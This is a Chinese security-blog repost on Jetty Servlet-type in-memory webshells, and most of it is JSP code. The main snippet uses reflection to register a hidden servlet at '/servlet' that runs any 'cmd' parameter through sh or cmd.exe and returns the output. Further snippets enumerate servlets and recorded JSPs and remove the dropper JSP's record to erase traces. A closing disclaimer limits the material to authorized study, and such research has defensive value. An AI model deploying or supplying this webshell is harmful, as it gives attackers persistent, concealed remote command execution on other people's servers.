扫码领资料
获网安教程
免费&进群
0x00 前言
在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节
<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%@ page import="java.util.Scanner"%><%@ page import="java.io.*"%><%String servletName = "myServlet";String urlPattern = "/servlet";Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner( in ).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");threadMethod.setAccessible(true);Thread[] threads = (Thread[]) threadMethod.invoke(null);ClassLoader threadClassLoader = null;for (Thread thread : threads){threadClassLoader = thread.getContextClassLoader();if(threadClassLoader != null){if(threadClassLoader.toString().contains("WebAppClassLoader")){Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");fieldContext.setAccessible(true);Object webAppContext = fieldContext.get(threadClassLoader);Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");fieldServletHandler.setAccessible(true);Object servletHandler = fieldServletHandler.get(webAppContext);Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");fieldServlets.setAccessible(true);Object[] servlets = (Object[]) fieldServlets.get(servletHandler);boolean flag = false;for(Object s:servlets){Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");fieldName.setAccessible(true);String name = (String) fieldName.get(s);if(name.equals(servletName)){flag = true;break;}}if(flag){out.println("[-] Servlet " + servletName + " exists.<br>");return;}out.println("[+] Add Servlet: " + servletName + "<br>");out.println("[+] urlPattern: " + urlPattern + "<br>");ClassLoader classLoader = servletHandler.getClass().getClassLoader();Class sourceClazz = null;Object holder = null;Field field = null;try{sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");field = sourceClazz.getDeclaredField("JAVAX_API");Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);holder = method.invoke(servletHandler, field.get(null));}catch(ClassNotFoundException e){sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));}holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");Object servletMapping = null;try{servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));}catch(NoSuchMethodException e){servletMapping = clazz.newInstance();}servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);}}}%>
<%@ page import="java.lang.reflect.Method "%><%ServletContext servletContext = request.getServletContext();Methodm1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");Object obj1 = m1.invoke(servletContext);out.println(obj1);%>
request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");threadMethod.setAccessible(true);Thread[] threads = (Thread[]) threadMethod.invoke(null);ClassLoader threadClassLoader = null;for (Thread thread:threads){threadClassLoader = thread.getContextClassLoader();if(threadClassLoader != null){if(threadClassLoader.toString().contains("WebAppClassLoader")){Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");fieldContext.setAccessible(true);Object webAppContext = fieldContext.get(threadClassLoader);Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");fieldServletHandler.setAccessible(true);Object servletHandler = fieldServletHandler.get(webAppContext);Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");fieldServlets.setAccessible(true);Object[] servlets = (Object[]) fieldServlets.get(servletHandler);boolean flag = false;for(Object servlet:servlets){out.print(servlet + "<br>");}}}}%>
rctxt->jsps下会标记所有执行过的jsp实例,测试代码如下:<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%Field f = request.getClass().getDeclaredField("_scope");f.setAccessible(true);Object conn1 = f.get(request);f = conn1.getClass().getDeclaredField("_servlet");f.setAccessible(true);Object conn2 = f.get(conn1);f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");f.setAccessible(true);Object conn3 = f.get(conn2);f = conn3.getClass().getDeclaredField("jsps");f.setAccessible(true);ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);Enumeration enu = conn4.keys();while (enu.hasMoreElements()) {out.println(enu.nextElement() + "<br>");}%>
<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%Field f = request.getClass().getDeclaredField("_scope");f.setAccessible(true);Object conn1 = f.get(request);f = conn1.getClass().getDeclaredField("_servlet");f.setAccessible(true);Object conn2 = f.get(conn1);f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");f.setAccessible(true);Object conn3 = f.get(conn2);f = conn3.getClass().getDeclaredField("jsps");f.setAccessible(true);ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);conn4.remove("/myServlet.jsp");%>
来源:https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞